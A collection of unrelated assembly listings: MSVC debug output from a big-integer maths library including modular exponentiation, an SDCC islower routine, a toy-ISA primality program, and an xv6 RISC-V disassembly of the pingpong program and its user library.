mov DWORD PTR pos$[rbp], eax
; 645 : #elif defined(__GNUC__)
; 646 : _UINT64_T pos;
; 647 : __asm__("bsrq %1, %0" : "=r"(pos) : "rm"(x));
; 648 : #else
; 649 : #error unknown compiler
; 650 : #endif
; 651 : #else
; 652 : #error unknown platform
; 653 : #endif
; 654 : return (sizeof(x) * 8 - 1 - pos);
mov eax, DWORD PTR pos$[rbp]
mov ecx, 63 ; 0000003fH
sub rcx, rax
mov rax, rcx
$LN1@LZCNT_ALT_:
; 655 : }
mov rdi, rax
lea rcx, QWORD PTR [rbp-32]
lea rdx, OFFSET FLAT:_LZCNT_ALT_UNIT$rtcFrameData
call _RTC_CheckStackVars
mov rax, rdi
lea rsp, QWORD PTR [rbp+232]
pop rdi
pop rbp
ret 0
_LZCNT_ALT_UNIT ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; COMDAT _MAXIMUM_UNIT
_TEXT SEGMENT
tv65 = 192
x$ = 240
y$ = 248
_MAXIMUM_UNIT PROC ; COMDAT
; 203 : {
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 248 ; 000000f8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 62 ; 0000003eH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+280]
lea rcx, OFFSET FLAT:__6B0481B0_pmc_inline_func@h
call __CheckForDebuggerJustMyCode
; 204 : return (x >= y ? x : y);
mov rax, QWORD PTR y$[rbp]
cmp QWORD PTR x$[rbp], rax
jb SHORT $LN3@MAXIMUM_UN
mov rax, QWORD PTR x$[rbp]
mov QWORD PTR tv65[rbp], rax
jmp SHORT $LN4@MAXIMUM_UN
$LN3@MAXIMUM_UN:
mov rax, QWORD PTR y$[rbp]
mov QWORD PTR tv65[rbp], rax
$LN4@MAXIMUM_UN:
mov rax, QWORD PTR tv65[rbp]
; 205 : }
lea rsp, QWORD PTR [rbp+216]
pop rdi
pop rbp
ret 0
_MAXIMUM_UNIT ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; COMDAT _ZERO_MEMORY_UNIT
_TEXT SEGMENT
d$ = 224
count$ = 232
_ZERO_MEMORY_UNIT PROC ; COMDAT
; 116 : {
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__6B0481B0_pmc_inline_func@h
call __CheckForDebuggerJustMyCode
; 117 : #ifdef _M_IX86
; 118 : __stosd((unsigned long*)d, 0, (unsigned long)count);
; 119 : #elif defined(_M_X64)
; 120 : __stosq(d, 0, count);
mov rdi, QWORD PTR d$[rbp]
xor eax, eax
mov rcx, QWORD PTR count$[rbp]
rep stosq
; 121 : #else
; 122 : #error unknown platform
; 123 : #endif
; 124 : }
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
_ZERO_MEMORY_UNIT ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; COMDAT _COPY_MEMORY_UNIT
_TEXT SEGMENT
d$ = 224
s$ = 232
count$ = 240
_COPY_MEMORY_UNIT PROC ; COMDAT
; 66 : {
mov QWORD PTR [rsp+24], r8
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rbp
push rsi
push rdi
sub rsp, 224 ; 000000e0H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 56 ; 00000038H
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__6B0481B0_pmc_inline_func@h
call __CheckForDebuggerJustMyCode
; 67 : #ifdef _M_IX86
; 68 : __movsd((unsigned long *)d, (unsigned long *)s, (unsigned long)count);
; 69 : #elif defined(_M_X64)
; 70 : __movsq(d, s, count);
mov rdi, QWORD PTR d$[rbp]
mov rsi, QWORD PTR s$[rbp]
mov rcx, QWORD PTR count$[rbp]
rep movsq
; 71 : #else
; 72 : #error unknown platform
; 73 : #endif
; 74 : }
lea rsp, QWORD PTR [rbp+192]
pop rdi
pop rsi
pop rbp
ret 0
_COPY_MEMORY_UNIT ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_modpow.c
; COMDAT PMC_ModPow_X_X_X
_TEXT SEGMENT
result$ = 4
v$ = 256
e$ = 264
m$ = 272
r$ = 280
PMC_ModPow_X_X_X PROC ; COMDAT
; 602 : {
$LN12:
mov QWORD PTR [rsp+32], r9
mov QWORD PTR [rsp+24], r8
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 264 ; 00000108H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 66 ; 00000042H
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+296]
lea rcx, OFFSET FLAT:__54B479F5_pmc_modpow@c
call __CheckForDebuggerJustMyCode
; 603 : if (v == NULL)
cmp QWORD PTR v$[rbp], 0
jne SHORT $LN2@PMC_ModPow
; 604 : return (PMC_STATUS_ARGUMENT_ERROR);
mov eax, -1
jmp $LN1@PMC_ModPow
$LN2@PMC_ModPow:
; 605 : if (e == NULL)
cmp QWORD PTR e$[rbp], 0
jne SHORT $LN3@PMC_ModPow
; 606 : return (PMC_STATUS_ARGUMENT_ERROR);
mov eax, -1
jmp $LN1@PMC_ModPow
$LN3@PMC_ModPow:
; 607 : if (m == NULL)
cmp QWORD PTR m$[rbp], 0
jne SHORT $LN4@PMC_ModPow
; 608 : return (PMC_STATUS_ARGUMENT_ERROR);
mov eax, -1
jmp $LN1@PMC_ModPow
$LN4@PMC_ModPow:
; 609 : if (r == NULL)
cmp QWORD PTR r$[rbp], 0
jne SHORT $LN5@PMC_ModPow
; 610 : return (PMC_STATUS_ARGUMENT_ERROR);
mov eax, -1
jmp $LN1@PMC_ModPow
$LN5@PMC_ModPow:
; 611 : PMC_STATUS_CODE result;
; 612 : if ((result = CheckNumber((NUMBER_HEADER*)v)) != PMC_STATUS_OK)
mov rcx, QWORD PTR v$[rbp]
call CheckNumber
mov DWORD PTR result$[rbp], eax
cmp DWORD PTR result$[rbp], 0
je SHORT $LN6@PMC_ModPow
; 613 : return (result);
mov eax, DWORD PTR result$[rbp]
jmp $LN1@PMC_ModPow
$LN6@PMC_ModPow:
; 614 : if ((result = CheckNumber((NUMBER_HEADER*)e)) != PMC_STATUS_OK)
mov rcx, QWORD PTR e$[rbp]
call CheckNumber
mov DWORD PTR result$[rbp], eax
cmp DWORD PTR result$[rbp], 0
je SHORT $LN7@PMC_ModPow
; 615 : return (result);
mov eax, DWORD PTR result$[rbp]
jmp SHORT $LN1@PMC_ModPow
$LN7@PMC_ModPow:
; 616 : if ((result = CheckNumber((NUMBER_HEADER*)m)) != PMC_STATUS_OK)
mov rcx, QWORD PTR m$[rbp]
call CheckNumber
mov DWORD PTR result$[rbp], eax
cmp DWORD PTR result$[rbp], 0
je SHORT $LN8@PMC_ModPow
; 617 : return (result);
mov eax, DWORD PTR result$[rbp]
jmp SHORT $LN1@PMC_ModPow
$LN8@PMC_ModPow:
; 618 : if ((result = PMC_ModPow_X_X_X_Imp((NUMBER_HEADER*)v, (NUMBER_HEADER*)e, (NUMBER_HEADER*)m, (NUMBER_HEADER**)r)) != PMC_STATUS_OK)
mov r9, QWORD PTR r$[rbp]
mov r8, QWORD PTR m$[rbp]
mov rdx, QWORD PTR e$[rbp]
mov rcx, QWORD PTR v$[rbp]
call PMC_ModPow_X_X_X_Imp
mov DWORD PTR result$[rbp], eax
cmp DWORD PTR result$[rbp], 0
je SHORT $LN9@PMC_ModPow
; 619 : return (result);
mov eax, DWORD PTR result$[rbp]
jmp SHORT $LN1@PMC_ModPow
$LN9@PMC_ModPow:
; 620 : #ifdef _DEBUG
; 621 : if ((result = CheckNumber(*r)) != PMC_STATUS_OK)
mov rax, QWORD PTR r$[rbp]
mov rcx, QWORD PTR [rax]
call CheckNumber
mov DWORD PTR result$[rbp], eax
cmp DWORD PTR result$[rbp], 0
je SHORT $LN10@PMC_ModPow
; 622 : return (result);
mov eax, DWORD PTR result$[rbp]
jmp SHORT $LN1@PMC_ModPow
$LN10@PMC_ModPow:
; 623 : #endif
; 624 : return (PMC_STATUS_OK);
xor eax, eax
$LN1@PMC_ModPow:
; 625 : }
lea rsp, QWORD PTR [rbp+232]
pop rdi
pop rbp
ret 0
PMC_ModPow_X_X_X ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_modpow.c
; COMDAT Initialize_ModPow
_TEXT SEGMENT
feature$ = 224
Initialize_ModPow PROC ; COMDAT
; 628 : {
$LN3:
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__54B479F5_pmc_modpow@c
call __CheckForDebuggerJustMyCode
; 629 : return (PMC_STATUS_OK);
xor eax, eax
; 630 : }
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
Initialize_ModPow ENDP
_TEXT ENDS
END
|
;--------------------------------------------------------
; File Created by SDCC : FreeWare ANSI-C Compiler
; Version 2.3.1 Wed Sep 04 21:56:16 2019
;--------------------------------------------------------
.module islower
;--------------------------------------------------------
; Public variables in this module
;--------------------------------------------------------
.globl _islower
;--------------------------------------------------------
; special function registers
;--------------------------------------------------------
;--------------------------------------------------------
; special function bits
;--------------------------------------------------------
;--------------------------------------------------------
; internal ram data
;--------------------------------------------------------
.area _DATA
;--------------------------------------------------------
; overlayable items in internal ram
;--------------------------------------------------------
.area _OVERLAY
;--------------------------------------------------------
; indirectly addressable internal ram data
;--------------------------------------------------------
.area _ISEG
;--------------------------------------------------------
; bit data
;--------------------------------------------------------
.area _BSEG
;--------------------------------------------------------
; external ram data
;--------------------------------------------------------
.area _XSEG
;--------------------------------------------------------
; global & static initialisations
;--------------------------------------------------------
.area _GSINIT
.area _GSFINAL
.area _GSINIT
;--------------------------------------------------------
; Home
;--------------------------------------------------------
.area _HOME
.area _CODE
;--------------------------------------------------------
; code
;--------------------------------------------------------
.area _CODE
; islower.c 3
; genLabel
; genFunction
; ---------------------------------
; Function islower
; ---------------------------------
___islower_start:
_islower:
; islower.c 5
; genCmpLt
; AOP_STK for
lda hl,2(sp)
ld a,(hl)
xor a,#0x80
cp #0x61^0x80
jp c,00102$
; genCmpGt
; AOP_STK for
ld e,#0xFA
ld a,(hl)
xor a,#0x80
ld d,a
ld a,e
sub a,d
jp c,00102$
; islower.c 6
; genRet
ld e,#0x01
jp 00105$
; genLabel
00102$:
; islower.c 8
; genRet
ld e,#0x00
; genLabel
00105$:
; genEndFunction
ret
___islower_end:
.area _CODE
|
.data
a:
65537
.text
main:
load %x0, $a, %x4 ; x4 = a
divi %x4, 2, %x16 ; x16 = x4/2
addi %x16, 1, %x16 ; x16 += 1 (check divisibility till x4/2)
subi %x0, 0, %x31 ; x31 = 0
addi %x5, 2, %x5 ; x5 = 2 (i = 2)
bgt %x4, 1, isPrime ; if x4 > 1, then goto isPrime
jmp false
isPrime:
beq %x16, %x5, true ; if x16 == x5 (i == a/2 + 1), then goto true
div %x4, %x5, %x17 ; x17 = x4/x5, x31 = x4 mod x5
beq %x0, %x31, false ; if x31 == 0, then goto false
addi %x5, 1, %x5 ; x5 += 1 (i += 1)
jmp isPrime
false:
subi %x0, 0, %x10 ; x10 = 0
subi %x10, 1, %x10 ; x10 = -1
end
true:
subi %x0, 0, %x10 ; x10 = 0
addi %x10, 1, %x10 ; x10 = 1
end |
user/_pingpong: file format elf64-littleriscv
Disassembly of section .text:
0000000000000000 <main>:
#include "kernel/types.h"
#include "kernel/stat.h"
#include "user.h"
int main(void)
{
0: 7179 addi sp,sp,-48
2: f406 sd ra,40(sp)
4: f022 sd s0,32(sp)
6: 1800 addi s0,sp,48
int p[2];
int t[2];
char sw[2];
sw[0] = 'c';
8: 06300793 li a5,99
c: fcf40c23 sb a5,-40(s0)
pipe(p);
10: fe840513 addi a0,s0,-24
14: 00000097 auipc ra,0x0
18: 36a080e7 jalr 874(ra) # 37e <pipe>
pipe(t);
1c: fe040513 addi a0,s0,-32
20: 00000097 auipc ra,0x0
24: 35e080e7 jalr 862(ra) # 37e <pipe>
if (fork() == 0)
28: 00000097 auipc ra,0x0
2c: 33e080e7 jalr 830(ra) # 366 <fork>
30: ed31 bnez a0,8c <main+0x8c>
{
printf("%d: received ping\n", getpid());
32: 00000097 auipc ra,0x0
36: 3bc080e7 jalr 956(ra) # 3ee <getpid>
3a: 85aa mv a1,a0
3c: 00001517 auipc a0,0x1
40: 84c50513 addi a0,a0,-1972 # 888 <malloc+0xe4>
44: 00000097 auipc ra,0x0
48: 6a2080e7 jalr 1698(ra) # 6e6 <printf>
close(p[1]);
4c: fec42503 lw a0,-20(s0)
50: 00000097 auipc ra,0x0
54: 346080e7 jalr 838(ra) # 396 <close>
close(t[0]);
58: fe042503 lw a0,-32(s0)
5c: 00000097 auipc ra,0x0
60: 33a080e7 jalr 826(ra) # 396 <close>
write(t[1], sw, 1);
64: 4605 li a2,1
66: fd840593 addi a1,s0,-40
6a: fe442503 lw a0,-28(s0)
6e: 00000097 auipc ra,0x0
72: 320080e7 jalr 800(ra) # 38e <write>
close(t[1]);
76: fe442503 lw a0,-28(s0)
7a: 00000097 auipc ra,0x0
7e: 31c080e7 jalr 796(ra) # 396 <close>
exit(0);
82: 4501 li a0,0
84: 00000097 auipc ra,0x0
88: 2ea080e7 jalr 746(ra) # 36e <exit>
}
else
{
close(p[0]);
8c: fe842503 lw a0,-24(s0)
90: 00000097 auipc ra,0x0
94: 306080e7 jalr 774(ra) # 396 <close>
close(t[1]);
98: fe442503 lw a0,-28(s0)
9c: 00000097 auipc ra,0x0
a0: 2fa080e7 jalr 762(ra) # 396 <close>
write(p[1], sw, 1);
a4: 4605 li a2,1
a6: fd840593 addi a1,s0,-40
aa: fec42503 lw a0,-20(s0)
ae: 00000097 auipc ra,0x0
b2: 2e0080e7 jalr 736(ra) # 38e <write>
close(p[1]);
b6: fec42503 lw a0,-20(s0)
ba: 00000097 auipc ra,0x0
be: 2dc080e7 jalr 732(ra) # 396 <close>
read(t[0], sw, 1);
c2: 4605 li a2,1
c4: fd840593 addi a1,s0,-40
c8: fe042503 lw a0,-32(s0)
cc: 00000097 auipc ra,0x0
d0: 2ba080e7 jalr 698(ra) # 386 <read>
printf("%d: received pong\n", getpid());
d4: 00000097 auipc ra,0x0
d8: 31a080e7 jalr 794(ra) # 3ee <getpid>
dc: 85aa mv a1,a0
de: 00000517 auipc a0,0x0
e2: 7c250513 addi a0,a0,1986 # 8a0 <malloc+0xfc>
e6: 00000097 auipc ra,0x0
ea: 600080e7 jalr 1536(ra) # 6e6 <printf>
exit(0);
ee: 4501 li a0,0
f0: 00000097 auipc ra,0x0
f4: 27e080e7 jalr 638(ra) # 36e <exit>
00000000000000f8 <strcpy>:
#include "kernel/fcntl.h"
#include "user/user.h"
char*
strcpy(char *s, const char *t)
{
f8: 1141 addi sp,sp,-16
fa: e422 sd s0,8(sp)
fc: 0800 addi s0,sp,16
char *os;
os = s;
while((*s++ = *t++) != 0)
fe: 87aa mv a5,a0
100: 0585 addi a1,a1,1
102: 0785 addi a5,a5,1
104: fff5c703 lbu a4,-1(a1)
108: fee78fa3 sb a4,-1(a5)
10c: fb75 bnez a4,100 <strcpy+0x8>
;
return os;
}
10e: 6422 ld s0,8(sp)
110: 0141 addi sp,sp,16
112: 8082 ret
0000000000000114 <strcmp>:
int
strcmp(const char *p, const char *q)
{
114: 1141 addi sp,sp,-16
116: e422 sd s0,8(sp)
118: 0800 addi s0,sp,16
while(*p && *p == *q)
11a: 00054783 lbu a5,0(a0)
11e: cb91 beqz a5,132 <strcmp+0x1e>
120: 0005c703 lbu a4,0(a1)
124: 00f71763 bne a4,a5,132 <strcmp+0x1e>
p++, q++;
128: 0505 addi a0,a0,1
12a: 0585 addi a1,a1,1
while(*p && *p == *q)
12c: 00054783 lbu a5,0(a0)
130: fbe5 bnez a5,120 <strcmp+0xc>
return (uchar)*p - (uchar)*q;
132: 0005c503 lbu a0,0(a1)
}
136: 40a7853b subw a0,a5,a0
13a: 6422 ld s0,8(sp)
13c: 0141 addi sp,sp,16
13e: 8082 ret
0000000000000140 <strlen>:
uint
strlen(const char *s)
{
140: 1141 addi sp,sp,-16
142: e422 sd s0,8(sp)
144: 0800 addi s0,sp,16
int n;
for(n = 0; s[n]; n++)
146: 00054783 lbu a5,0(a0)
14a: cf91 beqz a5,166 <strlen+0x26>
14c: 0505 addi a0,a0,1
14e: 87aa mv a5,a0
150: 4685 li a3,1
152: 9e89 subw a3,a3,a0
154: 00f6853b addw a0,a3,a5
158: 0785 addi a5,a5,1
15a: fff7c703 lbu a4,-1(a5)
15e: fb7d bnez a4,154 <strlen+0x14>
;
return n;
}
160: 6422 ld s0,8(sp)
162: 0141 addi sp,sp,16
164: 8082 ret
for(n = 0; s[n]; n++)
166: 4501 li a0,0
168: bfe5 j 160 <strlen+0x20>
000000000000016a <memset>:
void*
memset(void *dst, int c, uint n)
{
16a: 1141 addi sp,sp,-16
16c: e422 sd s0,8(sp)
16e: 0800 addi s0,sp,16
char *cdst = (char *) dst;
int i;
for(i = 0; i < n; i++){
170: ce09 beqz a2,18a <memset+0x20>
172: 87aa mv a5,a0
174: fff6071b addiw a4,a2,-1
178: 1702 slli a4,a4,0x20
17a: 9301 srli a4,a4,0x20
17c: 0705 addi a4,a4,1
17e: 972a add a4,a4,a0
cdst[i] = c;
180: 00b78023 sb a1,0(a5)
for(i = 0; i < n; i++){
184: 0785 addi a5,a5,1
186: fee79de3 bne a5,a4,180 <memset+0x16>
}
return dst;
}
18a: 6422 ld s0,8(sp)
18c: 0141 addi sp,sp,16
18e: 8082 ret
0000000000000190 <strchr>:
char*
strchr(const char *s, char c)
{
190: 1141 addi sp,sp,-16
192: e422 sd s0,8(sp)
194: 0800 addi s0,sp,16
for(; *s; s++)
196: 00054783 lbu a5,0(a0)
19a: cb99 beqz a5,1b0 <strchr+0x20>
if(*s == c)
19c: 00f58763 beq a1,a5,1aa <strchr+0x1a>
for(; *s; s++)
1a0: 0505 addi a0,a0,1
1a2: 00054783 lbu a5,0(a0)
1a6: fbfd bnez a5,19c <strchr+0xc>
return (char*)s;
return 0;
1a8: 4501 li a0,0
}
1aa: 6422 ld s0,8(sp)
1ac: 0141 addi sp,sp,16
1ae: 8082 ret
return 0;
1b0: 4501 li a0,0
1b2: bfe5 j 1aa <strchr+0x1a>
00000000000001b4 <gets>:
char*
gets(char *buf, int max)
{
1b4: 711d addi sp,sp,-96
1b6: ec86 sd ra,88(sp)
1b8: e8a2 sd s0,80(sp)
1ba: e4a6 sd s1,72(sp)
1bc: e0ca sd s2,64(sp)
1be: fc4e sd s3,56(sp)
1c0: f852 sd s4,48(sp)
1c2: f456 sd s5,40(sp)
1c4: f05a sd s6,32(sp)
1c6: ec5e sd s7,24(sp)
1c8: 1080 addi s0,sp,96
1ca: 8baa mv s7,a0
1cc: 8a2e mv s4,a1
int i, cc;
char c;
for(i=0; i+1 < max; ){
1ce: 892a mv s2,a0
1d0: 4481 li s1,0
cc = read(0, &c, 1);
if(cc < 1)
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
1d2: 4aa9 li s5,10
1d4: 4b35 li s6,13
for(i=0; i+1 < max; ){
1d6: 89a6 mv s3,s1
1d8: 2485 addiw s1,s1,1
1da: 0344d863 bge s1,s4,20a <gets+0x56>
cc = read(0, &c, 1);
1de: 4605 li a2,1
1e0: faf40593 addi a1,s0,-81
1e4: 4501 li a0,0
1e6: 00000097 auipc ra,0x0
1ea: 1a0080e7 jalr 416(ra) # 386 <read>
if(cc < 1)
1ee: 00a05e63 blez a0,20a <gets+0x56>
buf[i++] = c;
1f2: faf44783 lbu a5,-81(s0)
1f6: 00f90023 sb a5,0(s2)
if(c == '\n' || c == '\r')
1fa: 01578763 beq a5,s5,208 <gets+0x54>
1fe: 0905 addi s2,s2,1
200: fd679be3 bne a5,s6,1d6 <gets+0x22>
for(i=0; i+1 < max; ){
204: 89a6 mv s3,s1
206: a011 j 20a <gets+0x56>
208: 89a6 mv s3,s1
break;
}
buf[i] = '\0';
20a: 99de add s3,s3,s7
20c: 00098023 sb zero,0(s3)
return buf;
}
210: 855e mv a0,s7
212: 60e6 ld ra,88(sp)
214: 6446 ld s0,80(sp)
216: 64a6 ld s1,72(sp)
218: 6906 ld s2,64(sp)
21a: 79e2 ld s3,56(sp)
21c: 7a42 ld s4,48(sp)
21e: 7aa2 ld s5,40(sp)
220: 7b02 ld s6,32(sp)
222: 6be2 ld s7,24(sp)
224: 6125 addi sp,sp,96
226: 8082 ret
0000000000000228 <stat>:
int
stat(const char *n, struct stat *st)
{
228: 1101 addi sp,sp,-32
22a: ec06 sd ra,24(sp)
22c: e822 sd s0,16(sp)
22e: e426 sd s1,8(sp)
230: e04a sd s2,0(sp)
232: 1000 addi s0,sp,32
234: 892e mv s2,a1
int fd;
int r;
fd = open(n, O_RDONLY);
236: 4581 li a1,0
238: 00000097 auipc ra,0x0
23c: 176080e7 jalr 374(ra) # 3ae <open>
if(fd < 0)
240: 02054563 bltz a0,26a <stat+0x42>
244: 84aa mv s1,a0
return -1;
r = fstat(fd, st);
246: 85ca mv a1,s2
248: 00000097 auipc ra,0x0
24c: 17e080e7 jalr 382(ra) # 3c6 <fstat>
250: 892a mv s2,a0
close(fd);
252: 8526 mv a0,s1
254: 00000097 auipc ra,0x0
258: 142080e7 jalr 322(ra) # 396 <close>
return r;
}
25c: 854a mv a0,s2
25e: 60e2 ld ra,24(sp)
260: 6442 ld s0,16(sp)
262: 64a2 ld s1,8(sp)
264: 6902 ld s2,0(sp)
266: 6105 addi sp,sp,32
268: 8082 ret
return -1;
26a: 597d li s2,-1
26c: bfc5 j 25c <stat+0x34>
000000000000026e <atoi>:
int
atoi(const char *s)
{
26e: 1141 addi sp,sp,-16
270: e422 sd s0,8(sp)
272: 0800 addi s0,sp,16
int n;
n = 0;
while('0' <= *s && *s <= '9')
274: 00054603 lbu a2,0(a0)
278: fd06079b addiw a5,a2,-48
27c: 0ff7f793 andi a5,a5,255
280: 4725 li a4,9
282: 02f76963 bltu a4,a5,2b4 <atoi+0x46>
286: 86aa mv a3,a0
n = 0;
288: 4501 li a0,0
while('0' <= *s && *s <= '9')
28a: 45a5 li a1,9
n = n*10 + *s++ - '0';
28c: 0685 addi a3,a3,1
28e: 0025179b slliw a5,a0,0x2
292: 9fa9 addw a5,a5,a0
294: 0017979b slliw a5,a5,0x1
298: 9fb1 addw a5,a5,a2
29a: fd07851b addiw a0,a5,-48
while('0' <= *s && *s <= '9')
29e: 0006c603 lbu a2,0(a3)
2a2: fd06071b addiw a4,a2,-48
2a6: 0ff77713 andi a4,a4,255
2aa: fee5f1e3 bgeu a1,a4,28c <atoi+0x1e>
return n;
}
2ae: 6422 ld s0,8(sp)
2b0: 0141 addi sp,sp,16
2b2: 8082 ret
n = 0;
2b4: 4501 li a0,0
2b6: bfe5 j 2ae <atoi+0x40>
00000000000002b8 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
2b8: 1141 addi sp,sp,-16
2ba: e422 sd s0,8(sp)
2bc: 0800 addi s0,sp,16
char *dst;
const char *src;
dst = vdst;
src = vsrc;
if (src > dst) {
2be: 02b57663 bgeu a0,a1,2ea <memmove+0x32>
while(n-- > 0)
2c2: 02c05163 blez a2,2e4 <memmove+0x2c>
2c6: fff6079b addiw a5,a2,-1
2ca: 1782 slli a5,a5,0x20
2cc: 9381 srli a5,a5,0x20
2ce: 0785 addi a5,a5,1
2d0: 97aa add a5,a5,a0
dst = vdst;
2d2: 872a mv a4,a0
*dst++ = *src++;
2d4: 0585 addi a1,a1,1
2d6: 0705 addi a4,a4,1
2d8: fff5c683 lbu a3,-1(a1)
2dc: fed70fa3 sb a3,-1(a4)
while(n-- > 0)
2e0: fee79ae3 bne a5,a4,2d4 <memmove+0x1c>
src += n;
while(n-- > 0)
*--dst = *--src;
}
return vdst;
}
2e4: 6422 ld s0,8(sp)
2e6: 0141 addi sp,sp,16
2e8: 8082 ret
dst += n;
2ea: 00c50733 add a4,a0,a2
src += n;
2ee: 95b2 add a1,a1,a2
while(n-- > 0)
2f0: fec05ae3 blez a2,2e4 <memmove+0x2c>
2f4: fff6079b addiw a5,a2,-1
2f8: 1782 slli a5,a5,0x20
2fa: 9381 srli a5,a5,0x20
2fc: fff7c793 not a5,a5
300: 97ba add a5,a5,a4
*--dst = *--src;
302: 15fd addi a1,a1,-1
304: 177d addi a4,a4,-1
306: 0005c683 lbu a3,0(a1)
30a: 00d70023 sb a3,0(a4)
while(n-- > 0)
30e: fee79ae3 bne a5,a4,302 <memmove+0x4a>
312: bfc9 j 2e4 <memmove+0x2c>
0000000000000314 <memcmp>:
int
memcmp(const void *s1, const void *s2, uint n)
{
314: 1141 addi sp,sp,-16
316: e422 sd s0,8(sp)
318: 0800 addi s0,sp,16
const char *p1 = s1, *p2 = s2;
while (n-- > 0) {
31a: ca05 beqz a2,34a <memcmp+0x36>
31c: fff6069b addiw a3,a2,-1
320: 1682 slli a3,a3,0x20
322: 9281 srli a3,a3,0x20
324: 0685 addi a3,a3,1
326: 96aa add a3,a3,a0
if (*p1 != *p2) {
328: 00054783 lbu a5,0(a0)
32c: 0005c703 lbu a4,0(a1)
330: 00e79863 bne a5,a4,340 <memcmp+0x2c>
return *p1 - *p2;
}
p1++;
334: 0505 addi a0,a0,1
p2++;
336: 0585 addi a1,a1,1
while (n-- > 0) {
338: fed518e3 bne a0,a3,328 <memcmp+0x14>
}
return 0;
33c: 4501 li a0,0
33e: a019 j 344 <memcmp+0x30>
return *p1 - *p2;
340: 40e7853b subw a0,a5,a4
}
344: 6422 ld s0,8(sp)
346: 0141 addi sp,sp,16
348: 8082 ret
return 0;
34a: 4501 li a0,0
34c: bfe5 j 344 <memcmp+0x30>
000000000000034e <memcpy>:
void *
memcpy(void *dst, const void *src, uint n)
{
34e: 1141 addi sp,sp,-16
350: e406 sd ra,8(sp)
352: e022 sd s0,0(sp)
354: 0800 addi s0,sp,16
return memmove(dst, src, n);
356: 00000097 auipc ra,0x0
35a: f62080e7 jalr -158(ra) # 2b8 <memmove>
}
35e: 60a2 ld ra,8(sp)
360: 6402 ld s0,0(sp)
362: 0141 addi sp,sp,16
364: 8082 ret
0000000000000366 <fork>:
# generated by usys.pl - do not edit
#include "kernel/syscall.h"
.global fork
fork:
li a7, SYS_fork
366: 4885 li a7,1
ecall
368: 00000073 ecall
ret
36c: 8082 ret
000000000000036e <exit>:
.global exit
exit:
li a7, SYS_exit
36e: 4889 li a7,2
ecall
370: 00000073 ecall
ret
374: 8082 ret
0000000000000376 <wait>:
.global wait
wait:
li a7, SYS_wait
376: 488d li a7,3
ecall
378: 00000073 ecall
ret
37c: 8082 ret
000000000000037e <pipe>:
.global pipe
pipe:
li a7, SYS_pipe
37e: 4891 li a7,4
ecall
380: 00000073 ecall
ret
384: 8082 ret
0000000000000386 <read>:
.global read
read:
li a7, SYS_read
386: 4895 li a7,5
ecall
388: 00000073 ecall
ret
38c: 8082 ret
000000000000038e <write>:
.global write
write:
li a7, SYS_write
38e: 48c1 li a7,16
ecall
390: 00000073 ecall
ret
394: 8082 ret
0000000000000396 <close>:
.global close
close:
li a7, SYS_close
396: 48d5 li a7,21
ecall
398: 00000073 ecall
ret
39c: 8082 ret
000000000000039e <kill>:
.global kill
kill:
li a7, SYS_kill
39e: 4899 li a7,6
ecall
3a0: 00000073 ecall
ret
3a4: 8082 ret
00000000000003a6 <exec>:
.global exec
exec:
li a7, SYS_exec
3a6: 489d li a7,7
ecall
3a8: 00000073 ecall
ret
3ac: 8082 ret
00000000000003ae <open>:
.global open
open:
li a7, SYS_open
3ae: 48bd li a7,15
ecall
3b0: 00000073 ecall
ret
3b4: 8082 ret
00000000000003b6 <mknod>:
.global mknod
mknod:
li a7, SYS_mknod
3b6: 48c5 li a7,17
ecall
3b8: 00000073 ecall
ret
3bc: 8082 ret
00000000000003be <unlink>:
.global unlink
unlink:
li a7, SYS_unlink
3be: 48c9 li a7,18
ecall
3c0: 00000073 ecall
ret
3c4: 8082 ret
00000000000003c6 <fstat>:
.global fstat
fstat:
li a7, SYS_fstat
3c6: 48a1 li a7,8
ecall
3c8: 00000073 ecall
ret
3cc: 8082 ret
00000000000003ce <link>:
.global link
link:
li a7, SYS_link
3ce: 48cd li a7,19
ecall
3d0: 00000073 ecall
ret
3d4: 8082 ret
00000000000003d6 <mkdir>:
.global mkdir
mkdir:
li a7, SYS_mkdir
3d6: 48d1 li a7,20
ecall
3d8: 00000073 ecall
ret
